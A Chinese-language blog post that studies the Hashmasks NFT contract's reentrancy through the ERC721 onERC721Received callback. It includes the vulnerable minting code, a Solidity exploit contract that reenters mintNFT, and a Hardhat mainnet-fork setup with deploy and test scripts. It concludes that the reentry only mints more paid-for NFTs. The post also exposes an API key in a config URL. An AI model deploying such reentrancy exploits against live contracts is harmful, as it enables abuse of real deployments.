很巧的是,在我写作这篇文章的时候,我注意到登链社区已经有人写了跟我一样的题材:给人惊吓的代码 可以对比参考者一起看看
本文也是基于Samczsun的雄文:https://samczsun.com/the-dangers-of-surprising-code/ 进行的学习。最近Samczsun在8月份连发两篇文章,分别强调了基于循环内调用delegatecall和ERC721的回调函数导致的重进入问题。事实上该类型的问题Samczsun在去年2020年一次公开讲座中也专门讲过。这两篇文章算是对当时的一个公开讲座的一次回顾与进一步的强调。
很巧的是,在我写作这篇文章的时候,我注意到登链社区已经有人写了跟我一样的题材:给人惊吓的代码 可以对比参考者一起看看 当然欢迎加我的微信woodward1993或者关注我的公众号,公众号名字是bug合约写手,最近公众号涨粉有点慢:)
Hashmask的漏洞合约集中在主合约mask.sol
中的_safeTransferFrom
和_safeMint
函数。
function mintNFT(uint256 numberOfNfts) public payable {
//检查totalsupply不能超过
require(totalSupply() < MAX_NFT_SUPPLY);
require(numberOfNfts.add(totalSupply()) < MAX_NFT_SUPPLY);
//检查numberOfNFT在(0,20]
require(numberOfNfts > 0 && numberOfNfts <=20);
//检查价格*numberOfNFT==msg.value
require(numberOfNfts.mul(getNFTPrice()) == msg.value);
//执行for循环,每个循环里都触发mint一次,写入一个全局变量
for (uint i = 0; i < numberOfNfts; i++) {
uint index = totalSupply();
_safeMint(msg.sender, index);
}
}
function _safeMint(address owner, uint index) internal {
//调用_mint函数
_mint(owner,index);
//执行onERC721Received(address,address,uint,bytes)检查
_onERC721Reveived(owner,address(0),index,"");
}
function _mint(address to, uint index) internal {
//检查to地址不能是address(0)
require(to!= address(0),"HashMasks/_mint address to should not be 0");
//检查编号为index的NFT不能已经存在
require(!_exists(index),'HashMasks/_mint alread minted');
//在mint前进行检查
_beforeTokenTransfer(address(0),to,tokenId);
//写入map
_holderTOkens[to].add(index);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _onERC721Received(address operator, address from, uint index, bytes calldata data)
external
returns (bool)
{
//判断是不是一个operator合约地址
if (msg.sender == tx.origin) {
return true;
}
uint code_size;
assembly{
code_size := extcodesize(operator)
}
require(code_size > 0);
//计算出返回的目标值
byte4 erc721_returns =
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
//调用地址to上的onERC721Recieved函数,判断是否调用成功,并且返回值是否等于目标值
(bool success, bytes memory data) =
address(operator).call(abi.encodeWithSelector(erc721_returns,operator,from,index,data));
require(success, "HaskMasks/_onERC721Received call failed");
bytes4 return_data = abi.decode(data, (bytes4));
require(uint32(return_data)==uint32(erc721_returns), "HashMasks/_onERC721Received call returns wrong");
}
该合约中最大的漏洞在于ERC721标准中,要求
A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.
即使用safeTransferFrom
函数时,如果接受者的地址是一个合约地址,则需要验证该地址上的onERC721Received
函数,其返回值是否为固定的值0x150b7a02
然而事实上,这里就引入了一个不安全的外部合约调用。作为一名攻击者,我可以在合约中的onERC721Received
函数里执行任何我想要的操作,例如,我可以直接在重新进入mintNFT函数,铸造出超过我本金的NFT数量。
pragma solidity ^0.7.0;
import "./IHashMasks.sol";
import "hardhat/console.sol";
interface ERC721TokenReceiver{
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external payable returns(bytes4);
}
contract Exploit is ERC721TokenReceiver{
IHashMasks public hashmask;
address public hashmask_addr = 0xC2C747E0F7004F9E8817Db2ca4997657a7746928;
uint public currentNFTPrice;
uint public reentry_time;
bool public allow_reentry = true;
constructor() public{
hashmask = IHashMasks(hashmask_addr);
currentNFTPrice = hashmask.getNFTPrice();
}
function hack() public payable{
//拿到当前的NFT价格乘以20计算得到需要传入的ETH数量
console.log(msg.value);
console.log(currentNFTPrice*20);
require(currentNFTPrice*20 <= msg.value, "Exploit/hack, insufficent ETH send");
console.log("the ETH sent is : %s", msg.value);
//调用hashmask中的mintNFT函数
hashmask.mintNFT{value:2 ether}(20);
//验证是否破解成功,即自己拿到了多少个NFT,是否大于20个
uint balance = hashmask.balanceOf(address(this));
console.log("i have %s NFTs", balance);
}
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data)
public payable override
returns(bytes4)
{
bytes4 return_val =
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
//判断是否应该退出mintNFT函数
console.log("token_id:%s",_tokenId);
if (allow_reentry) {
//重进入mintNFT函数
allow_reentry = false;
console.log("token_id in the reentry is %s", _tokenId);
hashmask.mintNFT{value:2 ether}(20);
}
// 返回
return return_val;
}
}
简单的指出漏洞并不是我们的目的,我们的目的从来都是在hardhat的本地环境中,做一个完整的POC。
首先我们要找到需要fork的区块高度,查找Etherscan上的数据可以看到:
该合约hashmask(0xC2C747E0F7004F9E8817Db2ca4997657a7746928)在Etherscan上的所有交易如上图所示,可以看到合约的创建在0xe9e60dc12e1a7bc545aa497bc494f5f54ce81da06de4f6fef50459816218e66b这笔交易上,合约部署后的第一笔mintNFT方法在0xa3a5231b9df2211622c977752f6f60e80448eb9719fe4500e3760d296096804e上,对应的区块高度为11744960。故,我们可以直接Fork到区块高度为11744960上即可。
require("@nomiclabs/hardhat-waffle");
task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
const accounts = await hre.ethers.getSigners();
for (const account of accounts) {
console.log(account.address);
}
});
module.exports = {
solidity: "0.7.0",
networks:{
hardhat:{
forking: {
url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
blockNumber:11744960,
},
throwOnTransactionFailures: true,
throwOnCallFailures: true,
allowUnlimitedContractSize: true,
gas: 12000000,
blockGasLimit: 0x1fffffffffffff,
allowUnlimitedContractSize: true,
timeout: 1800000
}
}
};
有了区块高度,我们还需要一个合约接口与该合约进行交互。常用的方法是拷贝Etherscan上该合约的ABI,然后利用ABI2SOL的网站https://gnidan.github.io/abi-to-sol/,将ABI转换为接口。
const hre = require("hardhat")
const ethers = hre.ethers
async function main(){
const [owner] = await ethers.getSigners();
const Exploit = await ethers.getContractFactory("Exploit");
const exploit = await Exploit.connect(owner).deploy()
const currentNFTPrice = await exploit.currentNFTPrice();
console.log("currentNFTPrice is %s",currentNFTPrice);
console.log("deployed exploit contract address is %s", exploit.address)
//hack start
const overrides = {
value: ethers.utils.parseEther("4.0")
}
const tx = await exploit.hack(overrides);
console.log(tx)
}
main()
.then(()=>process.exit(0))
.catch(error=>{
console.error(error)
process.exit(1)
})
通过编写测试脚本,我们可以测试出我们的破解合约表现如何:
const hre = require("hardhat")
const ethers = hre.ethers
const {expect} = require("chai")
describe("Exploit the hashmasks contract", function (){
let owner;
let addr1;
let exploit;
let hashmasks;
beforeEach(async function(){
Exploit = await ethers.getContractFactory("Exploit");
[owner, addr1] = await ethers.getSigners();
exploit = await Exploit.connect(owner).deploy();
hashmasks = await ethers.getContractAt("IHashMasks","0xC2C747E0F7004F9E8817Db2ca4997657a7746928");
})
describe("Before Exploit", function(){
it("currentNFTPrice should be 0.1 when currentSupply < 3000", async function(){
expect(await hashmasks.getNFTPrice()).to.equal(ethers.utils.parseEther("0.1"));
expect(await hashmasks.totalSupply()).to.lt(3000);
expect(await hashmasks.balanceOf(exploit.address)).to.eq("0");
})
})
describe("after Exploit", function(){
it("After hack the balance should be > 20 NFT", async function(){
let overrides = {
value: ethers.utils.parseEther("4.0")
}
let tx = await exploit.hack(overrides);
console.log(tx)
console.log("the balance of the exploit is %s", await hashmasks.balanceOf(exploit.address))
expect(await hashmasks.balanceOf(exploit.address)).to.eq("40");
})
})
})
在samczsun的文章中,有如下描述:
However, we're the recipient of the token, which means we just got a callback at which point we can do whatever we like, including calling mintNFT again. If we do this, we'll reenter the function after only one mask has been minted, which means we can request to mint another 19 masks. This results in a total of 39 masks being minted, even though the maximum allowable was only 20.
确实可以利用ERC721标准中定义的回调函数:onERC721Received
来重新进入mintNFT
,但是由于mintNFT
函数在编写时事实上遵循了“检查-生效-交互”的标准,我们的回调函数在重新进入mintNFT时,会首先经过检查,尤其是:
require(numberOfNfts.mul(getNFTPrice()) == msg.value);
这里的msg.value值需要仔细理解:
如下图所示,当Expoit
的Hack
方法调用mintNFT
方法是,msg.sender
是address(Exploit)
; 当mintNFT
方法调用回调函数onERC721Received
时,msg.sender
是address(HashMasks)
. 当回调函数决定重进入mintNFT方法时,msg.sender
是 address(Exploit)
.
故samczsun说的重进入是允许的,但只是让一笔交易多mint了几个NFT而已,每个NFT都付钱了。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!